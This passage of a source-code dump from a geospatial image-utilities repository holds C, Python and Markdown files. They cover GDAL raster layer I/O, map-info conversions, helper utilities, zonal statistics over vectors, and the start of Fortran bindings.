images\n reader = ImageReader(fileDict)\n for (info, blocks) in reader:\n # get the data for the specified bands and flatten it\n clumps = blocks['clumps'][clumpBand-1].flatten()\n\n if dataBands is None:\n # now we know how many bands there are for the default list\n dataBands = range(1, blocks['data'].shape[0]+1)\n # create the dictionaries for each band\n for dataBand in dataBands:\n clumpDictList.append({})\n\n for dataBand in dataBands:\n\n data = blocks['data'][dataBand-1].flatten()\n clumpDict = clumpDictList[dataBand-1]\n \n # for each clump id\n for value in numpy.unique(clumps):\n # get the data for that clump\n dataSubset = data.compress(clumps == value)\n # check we have data\n if dataSubset.size != 0:\n # do we have this value in histDict?\n if value in clumpDict:\n # yes, retrieve dict\n histDict = clumpDict[value]\n else:\n # no, create it and set it\n histDict = {}\n clumpDict[value] = histDict\n\n # do the bincount\n bincount = numpy.bincount(dataSubset)\n # turn this into a dictionary\n bins = numpy.arange(bincount.size)\n # only interested in values where count != 0\n bins = numpy.compress(bincount != 0, bins)\n bincount = numpy.compress(bincount != 0, bincount)\n\n for count in range(bins.size):\n binvalue = bins[count]\n if binvalue in histDict:\n histDict[binvalue] += bincount[count]\n else:\n histDict[binvalue] = bincount[count]\n \n resultList = []\n for dataBand in dataBands:\n # work out the length of the arrays and \n # create a blank arrays\n maxidx = max(clumpDict.keys()) + 1\n modeArray = numpy.zeros((maxidx,), numpy.uint32)\n \n # go thru each value\n for value in clumpDict.keys():\n # find the mode\n histDict = clumpDict[value]\n maxValue, maxCount = max(histDict.items(), key=lambda x:x[1])\n\n modeArray[value] = maxValue\n\n resultList.append((modeArray, clumpDict))\n \n if isinstance(origdataBands, int):\n return resultList[0] # only one item\n else:\n return resultList\n \n \n \n" }, { "alpha_fraction": 0.6391498446464539, "alphanum_fraction": 0.6510079503059387, "avg_line_length": 23.69144058227539, "blob_id": "21390abc5dd22c43af2c4b84c67f678dc209fd18", "content_id": "8d643a91a52b836e74c6094cafb79503c9a441fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10963, "license_type": "no_license", "max_line_length": 141, "num_lines": 444, "path": "/utils/src/common/glayer.c", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#include \"glayer.h\"\n#include \"gutils.h\"\n#include \"cpl_string.h\"\n\nGlayer *\nGlayerOpenLayer(char *fname, int band)\n{\n Glayer *glayer = (Glayer *)calloc(1, sizeof(Glayer));\n\n glayer->hDataset = GDALOpen(fname, GA_ReadOnly);\n\n if(glayer->hDataset == NULL)\n errexit(outerr, \"error opening %s\", fname);\n\n glayer->hBand = GDALGetRasterBand(glayer->hDataset, band);\n \n glayer->pixeltype = GDALGetRasterDataType(glayer->hBand); \n\n glayer->width = GDALGetRasterBandXSize(glayer->hBand);\n glayer->height = GDALGetRasterBandYSize(glayer->hBand);\n\n GDALGetBlockSize(glayer->hBand, &glayer->blockwidth, &glayer->blockheight);\n\n glayer->nbpp = setnbpp(glayer->pixeltype);\n glayer->nbpl = glayer->width*glayer->nbpp;\n\n if(GDALGetGeoTransform(glayer->hDataset, glayer->GeoTransform) == CE_None)\n {\n glayer->pszProjection = strdup(GDALGetProjectionRef(glayer->hDataset));\n\n glayer->info = GeoTransformToMapInfo(glayer->info, glayer->GeoTransform, glayer->width, glayer->height);\n \n glayer->pw = glayer->info->pixelSize->width;\n glayer->ph = glayer->info->pixelSize->height;\n glayer->pa = glayer->pw*glayer->ph;\n }\n\n glayer->hCT = GDALGetRasterColorTable(glayer->hBand);\n\n glayer->papszMetadata = GDALGetMetadata(glayer->hBand, NULL);\n glayer->hRAT = GDALGetDefaultRAT(glayer->hBand);\n\n#ifdef VERBOSE\n if(CSLCount(glayer->papszMetadata) > 0)\n {\n fprintf(stdout,\"Metadata:\\n\");\n \n for(j = 0; glayer->papszMetadata[j] != NULL; j++)\n fprintf(stdout,\" %s\\n\", glayer->papszMetadata[j]);\n }\n\n if(glayer->hRAT)\n GDALRATDumpReadable(glayer->hRAT, NULL);\n#endif\n \n return(glayer);\n}\n\nGlayer *\nGlayerReadLayer(char *fname, int band)\n{\n long j;\n double percent_per_line;\n double percent;\n Glayer *glayer;\n \n glayer = GlayerOpenLayer(fname, band);\n\n GlayerCreateData(glayer, glayer->width, glayer->height);\n\n percent_per_line = 100.0/glayer->height;\n percent = 0.0;\n\n jobstate(\"Reading %s [Layer %d]...\", fname, band);\n jobprog(0);\n\n for(j = 0; j < glayer->height; j++)\n {\n if(floor(j*percent_per_line) > percent)\n {\n percent = j*percent_per_line;\n jobprog(percent);\n }\n\n GDALRasterIO(glayer->hBand, GF_Read, 0, j, glayer->width, 1, glayer->line[j], glayer->width, 1, glayer->pixeltype, 0, 0);\n }\n \n jobprog(100);\n \n GDALClose(glayer->hDataset);\n \n glayer->hBand = NULL;\n \n return(glayer);\n}\n\nvoid \nQuietErrorHandler(CPLErr eErrClass, int err_no, const char *msg)\n{\n return;\n}\n\nvoid\nGlayerWriteLayer(Glayer *glayer, char *fname, int band)\n{\n char **pszStringList = NULL;\n long j;\n double percent_per_line;\n double percent;\n char driver[80];\n \n if(!strcmp(fextn(fname),\".img\"))\n {\n sprintf(driver, \"HFA\");\n pszStringList = (char **)CSLAddString(pszStringList, \"COMPRESS=TRUE\");\n }\n else if(!strcmp(fextn(fname),\".tif\"))\n sprintf(driver, \"GTiff\");\n else if(!strcmp(fextn(fname),\".kea\"))\n sprintf(driver, \"KEA\");\n else\n errexit(outerr,\"unsupported file extension\");\n\n /* First try opening it (installing our own error handler first so no error printed) */\n CPLSetErrorHandler(QuietErrorHandler);\n\n glayer->hDataset = GDALOpen(fname, GA_Update);\n\n CPLSetErrorHandler(NULL);\n\n if(glayer->hDataset == NULL)\n { \n /* Can't open, try creating it */\n jobstate(\"Creating %s... (%s)\", fname, driver);\n\n glayer->hDataset = GDALCreate(GDALGetDriverByName(driver), fname, glayer->width, glayer->height, band, glayer->pixeltype, pszStringList);\n\n if(glayer->hDataset == NULL)\n errexit(outerr,\"GDALCreate failed\");\n\n GDALSetGeoTransform(glayer->hDataset, glayer->GeoTransform);\n GDALSetProjection(glayer->hDataset, glayer->pszProjection);\n }\n\n glayer->hBand = GDALGetRasterBand(glayer->hDataset, band);\n if(glayer->hBand == NULL)\n errexit(outerr,\"Unable to get band\");\n\n percent_per_line = 100.0/glayer->height;\n percent = 0.0;\n\n jobstate(\"Writing Layer...\");\n jobprog(0);\n\n for(j = 0; j < glayer->height; j++)\n {\n if(floor(j*percent_per_line) > percent)\n {\n percent = j*percent_per_line;\n jobprog(percent);\n }\n\n GDALRasterIO(glayer->hBand, GF_Write, 0, j, glayer->width, 1, glayer->line[j], glayer->width, 1, glayer->pixeltype, 0, 0);\n }\n \n jobprog(100);\n\n GDALClose(glayer->hDataset);\n\n CSLDestroy(pszStringList); \n}\n\nvoid CreatePyramids(char *fname, char *pszType)\n{\n GDALDatasetH hDataset;\n GDALRasterBandH hBand;\n int nLevels[] = { 4, 8, 16, 32, 64, 128 }; /* These are the pyramid levels Imagine seems to use */\n\n hDataset = GDALOpen(fname, GA_Update);\n\n /* Need to find out if we are thematic or continuous */\n hBand = GDALGetRasterBand(hDataset, 1);\n \n if(pszType == NULL)\n {\n if(strcmp(GDALGetMetadataItem(hBand, \"LAYER_TYPE\", \"\"), \"athematic\") == 0)\n pszType = \"AVERAGE\";\n else\n pszType = \"NEAREST\";\n }\n \n GDALBuildOverviews(hDataset, pszType, sizeof(nLevels)/sizeof(int), nLevels, 0, NULL, GDALTermProgress, NULL);\n\n GDALClose(hDataset);\n}\n\nGlayer *\nGlayerCreate(long width, long height, GDALDataType pixeltype, Eprj_MapInfo *info, char *pszProjection)\n{\n Glayer *glayer;\n \n glayer = GlayerCreateNoData(width, height, pixeltype, info, pszProjection);\n\n GlayerCreateData(glayer, width, height);\n\n return(glayer);\n}\n\nGlayer *\nGlayerCreateNoData(long width, long height, GDALDataType pixeltype, Eprj_MapInfo *info, char *pszProjection)\n{\n Glayer *glayer = (Glayer *)calloc(1,sizeof(Glayer));\n \n glayer->width = width;\n glayer->height = height;\n glayer->pixeltype = pixeltype;\n \n glayer->nbpp = setnbpp(glayer->pixeltype);\n\n if(info)\n {\n glayer->info = CopyMapInfo(glayer->info, info);\n\n glayer->pw = info->pixelSize->width;\n glayer->ph = info->pixelSize->height;\n glayer->pa = glayer->pw*glayer->ph;\n\n MapInfoToGeoTransform(glayer->GeoTransform, info);\n\n glayer->pszProjection = strdup(pszProjection);\n }\n \n return(glayer);\n}\n\nvoid\nGlayerCreateData(Glayer *glayer, long width, long height)\n{\n long j;\n\n if(glayer->data) free(glayer->data);\n\n if(!glayer->nbpp)\n glayer->nbpp = setnbpp(glayer->pixeltype);\n\n glayer->nbpl = width*glayer->nbpp;\n\n if(glayer->data) free(glayer->data);\n\n /* allocate data memory */\n\n glayer->data = malloc((size_t)(height*glayer->nbpl));\n \n if(!glayer->data)\n errexit(outerr,\"error allocating image memory\");\n \n glayer->data = memset(glayer->data, 0, (size_t)(height*glayer->nbpl));\n \n glayer->line = (void **)calloc(height, sizeof(void *));\n\n for(j = 0; j < height; j++)\n glayer->line[j] = glayer->data + j*glayer->nbpl;\n}\n\nvoid\nGlayerFreeData(Glayer *glayer)\n{\n if(glayer->data)\n free(glayer->data);\n \n glayer->data = NULL;\n\n if(glayer->line)\n free(glayer->line);\n \n glayer->line = NULL;\n \n glayer->nbpp = 0;\n glayer->nbpl = 0;\n}\n\nvoid\nGlayerFree(Glayer **glayer)\n{\n GlayerFreeData(*glayer);\n\n free((*glayer)->info);\n free((*glayer)->pszProjection);\n\n free(*glayer);\n\n *glayer = NULL;\n}\n\nvoid\nGlayerCheckType(Glayer *glayer, GDALDataType pixeltype)\n{\n if(glayer->pixeltype != pixeltype)\n errexit(outerr,\"expecting %s data [%s]\", GDALGetDataTypeName(pixeltype), GDALGetDataTypeName(glayer->pixeltype));\n}\n\nint\nsetnbpp(GDALDataType pixeltype)\n{\n int nbpp=0;\n \n switch(pixeltype)\n {\n case GDT_Byte:\n nbpp = sizeof(GByte);\n break;\n case GDT_UInt16:\n nbpp = sizeof(GUInt16);\n break;\n case GDT_Int16:\n nbpp = sizeof(GInt16);\n break;\n case GDT_UInt32:\n nbpp = sizeof(GUInt32);\n break;\n case GDT_Int32:\n nbpp = sizeof(GInt32);\n break;\n case GDT_Float32:\n nbpp = sizeof(float);\n break;\n case GDT_Float64:\n nbpp = sizeof(double);\n break;\n default:\n errexit(outerr,\"datatypes greater than Float64 not yet supported\");\n break;\n }\n \n return(nbpp);\n}\n\nEprj_MapInfo *\nCreateMapInfo()\n{\n Eprj_MapInfo *info;\n\n info = (Eprj_MapInfo *)calloc(1, sizeof(Eprj_MapInfo));\n\n info->upperLeftCenter = (Eprj_Coordinate *)calloc(1, sizeof(Eprj_Coordinate));\n info->lowerRightCenter = (Eprj_Coordinate *)calloc(1, sizeof(Eprj_Coordinate));\n info->pixelSize = (Eprj_Size *)calloc(1, sizeof(Eprj_Size));\n \n return(info);\n}\n\nEprj_MapInfo *\nCopyMapInfo(Eprj_MapInfo *dest, Eprj_MapInfo *src)\n{\n if(!dest)\n dest = CreateMapInfo();\n\n if(!src)\n errexit(outerr, \"undefined source MapInfo\");\n \n dest->upperLeftCenter->x = src->upperLeftCenter->x;\n dest->upperLeftCenter->y = src->upperLeftCenter->y;\n\n dest->lowerRightCenter->x = src->lowerRightCenter->x;\n dest->lowerRightCenter->y = src->lowerRightCenter->y;\n\n dest->pixelSize->width = src->pixelSize->width;\n dest->pixelSize->height = src->pixelSize->height; \n \n return(dest);\n}\n\nEprj_MapInfo *\nGeoTransformToMapInfo(Eprj_MapInfo *info, double *GeoTransform, long width, long height)\n{\n if(!GeoTransform)\n errexit(outerr, \"undefined GeoTransform\");\n \n if(GeoTransform[2] != 0 || GeoTransform[4] != 0)\n errexit(outerr, \"expecting north up imagery only\");\n\n if(!info)\n info = CreateMapInfo();\n \n info->upperLeftCenter->x = GeoTransform[0] + 0.5*GeoTransform[1];\n info->upperLeftCenter->y = GeoTransform[3] + 0.5*GeoTransform[5];\n\n info->pixelSize->width = fabs(GeoTransform[1]);\n info->pixelSize->height = fabs(GeoTransform[5]);\n\n info->lowerRightCenter->x = info->upperLeftCenter->x + (width - 1)*info->pixelSize->width;\n info->lowerRightCenter->y = info->upperLeftCenter->y - (height - 1)*info->pixelSize->height;\n\n return(info);\n}\n\ndouble *\nMapInfoToGeoTransform(double *GeoTransform, Eprj_MapInfo *info)\n{\n if(!info)\n errexit(outerr, \"undefined MapInfo\");\n \n if(!GeoTransform)\n GeoTransform = (double *)calloc(6, sizeof(double));\n\n GeoTransform[0] = info->upperLeftCenter->x - 0.5*info->pixelSize->width;\n GeoTransform[1] = info->pixelSize->width;\n GeoTransform[3] = info->upperLeftCenter->y + 0.5*info->pixelSize->width;\n GeoTransform[5] = -info->pixelSize->height;\n\n return(GeoTransform); \n}\n\nvoid\nGlayerPrintXY(Glayer *glayer, long x, long y)\n{\n switch(glayer->pixeltype)\n {\n case GDT_Byte:\n fprintf(stdout,\"(%ld,%ld) -> %d\\n\", x, y, Glayer(glayer,GByte,x,y));\n break;\n case GDT_UInt16:\n fprintf(stdout,\"(%ld,%ld) -> %d\\n\", x, y, Glayer(glayer,GUInt16,x,y));\n break;\n case GDT_Int16:\n fprintf(stdout,\"(%ld,%ld) -> %d\\n\", x, y, Glayer(glayer,GInt16,x,y));\n break;\n case GDT_UInt32:\n fprintf(stdout,\"(%ld,%ld) -> %d\\n\", x, y, (int)Glayer(glayer,GUInt32,x,y));\n break;\n case GDT_Int32:\n fprintf(stdout,\"(%ld,%ld) -> %d\\n\", x, y, (int)Glayer(glayer,GInt32,x,y));\n break;\n case GDT_Float32:\n fprintf(stdout,\"(%ld,%ld) -> %f\\n\", x, y, Glayer(glayer,float,x,y));\n break;\n case GDT_Float64:\n fprintf(stdout,\"(%ld,%ld) -> %f\\n\", x, y, Glayer(glayer,double,x,y));\n break;\n default:\n errexit(outerr,\"datatypes greater than Float64 not yet supported\");\n break;\n }\n}\n" }, { "alpha_fraction": 0.7282850742340088, "alphanum_fraction": 0.7688195705413818, "avg_line_length": 39.10714340209961, "blob_id": "e833572992851afc6c3cb9933644ef5892d45b5a", "content_id": "7aa2a08724601c872f9c1706a8b0301ce6da4046", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2245, "license_type": "no_license", "max_line_length": 412, "num_lines": 56, "path": "/README.md", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "Collection of utilities from QLD DERM and some from NZ Landcare. Probably should live somewhere more useful, but they are here for now.\n\n# Command line utilities #\n\n* ogrdissolve. Dissolve all input polygons into one.\n* clump_lowmem.py. Clump an input file using a windowing algorithm that uses very little memory. See 'clump_lowmem.py -h'\n* gdalcalcstats. Calculate statistics and create Pyramid layers for a file. Can also specify the ignore value.\n* gdaldumpWKT. Prints the WKT (the coordinate string) to the terminal.\n* gdalsetthematic.py. Sets a file as thematic.\n* historymerge.py. Merges the history data from parent file(s) into a new output.\n* historymodify.py. Updates history info.\n* historyview.py. Gives a GUI that allows the history of the given file to be viewed.\n* vectorstats.py. Allows stats to be gathered from a raster file for the polygons in a given vector file. See 'vectorstats.py -h'\n\n# Python Modules #\n\n### history ###\nUtils for manipulating history data in files.\n```\n#!python\n>>> from lcrimageutils import history\n>>> help(history)\n```\n\n### mdl ###\nGeneral utilities useful from RIOS. Some mimic Imagine functions.\n```\n#!python\n>>> from lcrimageutils import mdl\n>>> help(mdl)\n```\n\n\n### vectorstats ###\nUtilities for extracting stats from rasters for different areas.\n```\n#!python\n>>> from lcrimageutils import vectorstats\n>>> help(vectorstats)\n```\n\n### zones ###\nCollection of routines that deals with zones (ie clumped images)\n```\n#!python\n>>> from lcrimageutils import zones\n>>> help(zones)\n```\n\n# Fortran 90 bindings for GDAL #\n\nA subset of the GDAL functions are available from Fortran 90. See the [module](https://bitbucket.org/chchrsc/gdalutils/src/657f6300e9a17f46454ddaf7df2a0e9408dec399/libimgf90/src/libimgf90mod.f90?at=default&fileviewer=file-view-default) source. Also see the [example](https://bitbucket.org/chchrsc/gdalutils/src/7da720c6a690ca36fc15f9a7144052f1980f08cf/libimgf90/test.f90?at=default&fileviewer=file-view-default).\n\n# Dr Shepherd's Imagine toolkit to GDAL compatibility layer #\n\nCode to assist those porting from Imagine C toolkit to GDAL. Look at the [header functions](https://bitbucket.org/chchrsc/gdalutils/src/7da720c6a690ca36fc15f9a7144052f1980f08cf/utils/src/common/?at=default)." }, { "alpha_fraction": 0.6346153616905212, "alphanum_fraction": 0.6355769038200378, "avg_line_length": 21.60869598388672, "blob_id": "862859f6378f4cbfe27df75b45507608ecda1450", "content_id": "580306c9b5fee2c7f53a07bfc8f877037a9a4c7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1040, "license_type": "no_license", "max_line_length": 90, "num_lines": 46, "path": "/utils/src/common/ginfo.h", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#ifndef GINFO_H\n#define GINFO_H\n\ntypedef enum\n{\n EIMG_THEMATIC_LAYER = 0,\n EIMG_ATHEMATIC_LAYER,\n EIMG_REALFFT_LAYER\n}\nEimg_LayerType;\n\ntypedef struct\n{\n double minimum; /* Minimum value */\n double maximum; /* Maximum value */\n double mean; /* Mean value */\n double median; /* Median value */\n double mode; /* Mode value */\n double stddev; /* Standard deviation */\n}\nEsta_Statistics;\n\ntypedef struct\n{\n double x; /* coordinate x-value */\n double y; /* coordinate y-value */\n}\nEprj_Coordinate;\n\ntypedef struct\n{\n double width; /* pixelsize width */\n double height; /* pixelsize height */\n}\nEprj_Size;\n\ntypedef struct {\n char *proName; /* projection name */\n Eprj_Coordinate *upperLeftCenter; /* map coordinates of center of upper left pixel */\n Eprj_Coordinate *lowerRightCenter; /* map coordinates of center of lower right pixel */\n Eprj_Size *pixelSize; /* pixel size in map units */\n char *units; /* units of the map */\n}\nEprj_MapInfo;\n\n#endif\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 26, "blob_id": "8a3a46baf765eea31db985e83ec024fbef7be0b4", "content_id": "34163dc45c6a61358b6f0d620590e9f35646ce57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 135, "license_type": "no_license", "max_line_length": 26, "num_lines": 5, "path": "/utils/src/common/fparse.h", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "char * fextn(char *fname);\nchar * froot(char *fname);\nchar * fnpth(char *fname);\nchar * fpath(char *fname);\nchar * fbase(char *fname);\n" }, { "alpha_fraction": 0.551598846912384, "alphanum_fraction": 0.5588662624359131, "avg_line_length": 14.288888931274414, "blob_id": "23502fe64eb4e0c1800c89fe83ebca49364027a1", "content_id": "fb3de875db8769e8aadcf9c7ee4ec5edce3d2a39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1376, "license_type": "no_license", "max_line_length": 90, "num_lines": 90, "path": "/utils/src/common/gutils.c", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <string.h>\n#include <time.h>\n#include \"gutils.h\"\n\nvoid\nerrexit(FILE *fp, char *file, int line, char *errstr, ...)\n{\n va_list args;\n\n fprintf(fp,\"%s:%d: \", file, line);\n va_start(args, errstr);\n vfprintf(fp, errstr, args);\n va_end(args);\n fprintf(fp,\"\\n\");\n exit(0);\n}\n\nvoid\njobstate(char *fmt, ...)\n{\n va_list args;\n \n va_start(args, fmt);\n vfprintf(stderr, fmt, args);\n va_end(args);\n fprintf(stderr,\"\\n\");\n}\n\nvoid\njobprog(long percent)\n{\n if(percent < 100)\n fprintf(stderr,\"\\r%ld %%\", percent);\n else\n fprintf(stderr,\"\\r%ld %%\\n\", percent);\n}\n\nFILE *\nopencheck(char *fname, char *mode)\n{\n FILE *fp;\n \n fp = fopen(fname, mode);\n\n if(!fp)\n {\n fprintf(stderr, \"sorry, can't open %s\\n\", fname);\n exit(0);\n }\n return(fp);\n}\n\nchar *\ncurrenttime()\n{\n time_t t;\n struct tm *tm; \n\n time(&t);\n\n tm = localtime(&t);\n\n return(asctime(tm));\n}\n\nchar *\nargs(int argc, char **argv)\n{\n int i;\n int length = 0;\n char *args;\n \n for(i = 1; i < argc; i++)\n length = length + strlen(argv[i]) + 1; /* strings and spaces */\n\n args = (char *)calloc(length + 1, sizeof(char)); /* allocate argument string length */ \n\n /* fill argument string */\n\n for(i = 1; i < argc; i++)\n {\n strcat(args, argv[i]);\n strcat(args, \" \");\n }\n\n return(args);\n}\n" }, { "alpha_fraction": 0.620608925819397, "alphanum_fraction": 0.620608925819397, "avg_line_length": 27.769229888916016, "blob_id": "b53b8220fed98a4529dbd8e7d41ffe4a6cd76e1b", "content_id": "f5ad3ce68003b0636a44e6071ed2a3ceb231d7c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 427, "license_type": "no_license", "max_line_length": 79, "num_lines": 13, "path": "/pyutils/setup.py", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"\nThe setup script for PyModeller. Creates the module, installs\nthe scripts. \nGood idea to use 'install --prefix=/opt/xxxxx' so not installed\nwith Python.\n\"\"\"\nimport glob\nfrom distutils.core import setup\n\nsetup(name='lcrimageutils',\n scripts=glob.glob('bin/*.py') + ['bin/gdalcalcstats', 'bin/gdaldumpWKT'],\n packages=['lcrimageutils'] )\n " }, { "alpha_fraction": 0.6523149609565735, "alphanum_fraction": 0.6584300398826599, "avg_line_length": 36.09722137451172, "blob_id": "bd327f64d36b517df9fba3a05e528cc9ba22365c", "content_id": "d2cdb3236d456dab203a6947080fffb63bb61371", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8013, "license_type": "no_license", "max_line_length": 83, "num_lines": 216, "path": "/pyutils/lcrimageutils/vectorstats.py", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "\"\"\"\nModule for doing stats on rasters based on data from a vector\n\"\"\"\n# This file is part of 'gdalutils'\n# Copyright (C) 2014 Sam Gillingham\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport numpy\nfrom rios import applier\nfrom rios import pixelgrid\nfrom osgeo import gdal\nfrom osgeo import ogr\nfrom osgeo import osr\n\nIGNORE_NONE = 0 # use all values in the raster\nIGNORE_INTERNAL = 1 # use internal value (if any)\nIGNORE_VALUES = 2 # value(s) will be specified\n\ndef riosStats(info, inputs, output, otherargs):\n \"\"\"\n Function that gets called from RIOS\n \"\"\"\n if otherargs.bands is None:\n nbands = inputs.raster.shape[0]\n bands = numpy.arange(nbands) + 1 # 1 based\n else:\n bands = otherargs.bands\n\n bandIdx = 0 # for getting nodata values\n for band in bands:\n data = inputs.raster[band-1].flatten()\n mask = inputs.vector[0].flatten() != 0\n if otherargs.ignore_behaviour == IGNORE_INTERNAL:\n # we need to do more processing on 'mask'\n nodata = info.getNoDataValueFor(inputs.raster, int(band))\n if nodata is not None:\n mask = mask & (data != nodata)\n elif otherargs.ignore_behaviour == IGNORE_VALUES:\n try:\n nodata = otherargs.ignore_values[bandIdx]\n except TypeError:\n # not a sequence\n nodata = otherargs.ignore_values\n mask = mask & (data != nodata)\n\n # mask the data\n data = data.compress(mask)\n\n if band in otherargs.data:\n otherargs.data[band] = numpy.append(otherargs.data[band], data)\n else:\n otherargs.data[band] = data\n\n bandIdx += 1\n\nROUND_DOWN = 0\nROUND_UP = 1\n\ndef roundToRasterGridX(rastertransform, x, direction):\n xdiff = x - rastertransform[0]\n npix = xdiff / rastertransform[1]\n if direction == ROUND_DOWN:\n nwholepix = numpy.floor(npix)\n else:\n nwholepix = numpy.ceil(npix)\n xround = rastertransform[0] + nwholepix * rastertransform[1]\n return xround\n\ndef roundToRasterGridY(rastertransform, y, direction):\n xdiff = rastertransform[3] - y\n npix = xdiff / abs(rastertransform[5])\n if direction == ROUND_DOWN:\n nwholepix = numpy.floor(npix)\n else:\n nwholepix = numpy.ceil(npix)\n xround = rastertransform[0] + nwholepix * rastertransform[1]\n return xround\n \n\ndef calcWorkingExtent(vector, raster, layer):\n \"\"\"\n Calculates the working extent of the vector\n in the coordinate system of the raster and returns a\n PixelGridDefn instance.\n Necessary since RIOS only calculates intersection\n based on rasters\n \"\"\"\n vectords = ogr.Open(vector)\n if vectords is None:\n raise IOError('Unable to read vector file %s' % vector)\n vectorlyr = vectords.GetLayer(layer)\n\n vectorsr = vectorlyr.GetSpatialRef()\n vectorextent = vectorlyr.GetExtent()\n (xmin, xmax, ymin, ymax) = vectorextent\n \n\n rasterds = gdal.Open(raster)\n if rasterds is None:\n raise IOError('Unable to read raster file %s' % raster)\n rasterproj = rasterds.GetProjection()\n if rasterproj is None or rasterproj == '':\n raise ValueError('Raster must have projection set')\n rastertransform = rasterds.GetGeoTransform()\n\n rastersr = osr.SpatialReference(rasterproj)\n transform = osr.CoordinateTransformation(vectorsr, rastersr)\n (tl_x, tl_y, z) = transform.TransformPoint(xmin, ymax)\n (tr_x, tr_y, z) = transform.TransformPoint(xmax, ymax)\n (bl_x, bl_y, z) = transform.TransformPoint(xmin, ymin)\n (br_x, br_y, z) = transform.TransformPoint(xmax, ymin)\n\n extent = (min(tl_x, bl_x), max(tr_x, br_x), min(bl_y, br_y), max(tl_y, tr_y))\n\n # round to pixels\n roundedextent = (roundToRasterGridX(rastertransform, extent[0], ROUND_DOWN),\n roundToRasterGridX(rastertransform, extent[1], ROUND_UP),\n roundToRasterGridX(rastertransform, extent[2], ROUND_DOWN),\n roundToRasterGridX(rastertransform, extent[3], ROUND_UP))\n\n pixgrid = pixelgrid.PixelGridDefn(projection=rasterproj, xMin=roundedextent[0],\n xMax=roundedextent[1], yMin=roundedextent[2],\n yMax=roundedextent[3], xRes=rastertransform[1],\n yRes=abs(rastertransform[5]))\n\n del vectords\n del rasterds\n\n return pixgrid\n \n\ndef doStats(vector, raster, ignore_behaviour, ignore_values=None, \n sql=None, alltouched=False, bands=None, layer=0):\n \"\"\"\n Does the stats and returns a dictionary of dictionaries\n one for each band - keyed on the band index.\n Each dictionay for each band has values on the following keys:\n 'mean', 'median', 'std', 'min', 'max', 'count'\n If no values are found for a given band there won't be a key for it.\n\n vector is the filename for the OGR supported vector source\n raster is the filename for the GDAL supported raster source\n ignore_behaviour should be one of:\n IGNORE_NONE - to use all values in the raster\n IGNORE_INTERNAL - to use internal value(s) (if any)\n IGNORE_VALUES - value(s) will be specified on ignore_values\n ignore_values needs to be specified with IGNORE_VALUES. Can be a single\n value to ignore the same on all bands or a list of values, one for\n each band\n sql can be a fragement of the SQL WHERE statement that restricts the \n vectors that are processed\n alltouched - by default only pixels whose centres are completely within\n a polygon are processed. Setting this to True makes all pixels that\n are touched by the polygon get processed.\n bands - by default all bands are processed. This can be a list of bands\n to process.\n layer - by default the first layer in the vector is used. This can be\n set to either a number of a name of the vector layer to use.\n \"\"\"\n infiles = applier.FilenameAssociations()\n infiles.raster = raster\n infiles.vector = vector\n\n outfiles = applier.FilenameAssociations()\n # empty\n\n controls = applier.ApplierControls()\n controls.setAlltouched(alltouched)\n controls.setVectorlayer(layer)\n if sql is not None:\n controls.setFilterSQL(sql)\n\n otherargs = applier.OtherInputs()\n otherargs.data = {} # dictionary, keyed on band\n otherargs.bands = bands\n otherargs.ignore_behaviour = ignore_behaviour\n otherargs.ignore_values = ignore_values\n\n if ignore_behaviour == IGNORE_VALUES and ignore_values is None:\n raise ValueError('must specify ignore_values when '+\n 'ignore_behaviour = IGNORE_VALUES')\n\n # work out vector extent\n pixgrid = calcWorkingExtent(vector, raster, layer)\n controls.referencePixgrid = pixgrid\n\n # do the work\n applier.apply(riosStats, infiles, outfiles, otherargs, controls=controls)\n\n results = {}\n for band in sorted(otherargs.data.keys()):\n stats = {}\n data = otherargs.data[band]\n if data.size != 0:\n stats['mean'] = data.mean()\n stats['median'] = numpy.median(data)\n stats['std'] = data.std()\n stats['min'] = data.min()\n stats['max'] = data.max()\n stats['count'] = data.size\n results[int(band)] = stats # make sure not a numpy type\n\n return results\n" }, { "alpha_fraction": 0.6078617572784424, "alphanum_fraction": 0.6100808382034302, "avg_line_length": 20.979093551635742, "blob_id": "0b8a460384222f76ff8c02620184d897a6cea109", "content_id": "0f5021a2062b002ac654b083c08402b68e8eb292", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6309, "license_type": "no_license", "max_line_length": 96, "num_lines": 287, "path": "/libimgf90/src/libimgf90.c", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"gdal.h\"\n#include \"cpl_string.h\"\n\nvoid gdalallregister_()\n{\n GDALAllRegister();\n}\n\n/* =====================================================================*/\n/* Major Object */\n/* =====================================================================*/\n\nvoid gdalsetdescription_(GDALMajorObjectH *obj, const char *desc, int desclen)\n{\nchar *psz;\n\n psz = (char*)calloc( desclen + 1, sizeof(char) );\n \n strncpy( psz, desc, desclen );\n \n 